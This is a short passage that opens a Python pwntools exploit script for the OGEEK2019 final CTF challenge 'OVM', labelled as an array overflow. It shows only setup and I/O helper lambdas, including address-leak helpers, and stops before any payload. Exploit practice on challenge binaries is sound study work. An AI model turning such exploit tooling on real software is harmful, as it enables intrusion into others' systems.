OGEEK2019_FINAL_OVM 数组溢出 from pwn import * context.log_level='debug' p = process("vmpwn") elf = ELF("vmpwn") libc = elf.libc s = lambda data :p.send(data) sa = lambda text,data :p.sendafter(text, str(data)) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, str(data)) r = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00")) uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) lg = lambda name,data :p.success(name + "-> 0x%x" % data) def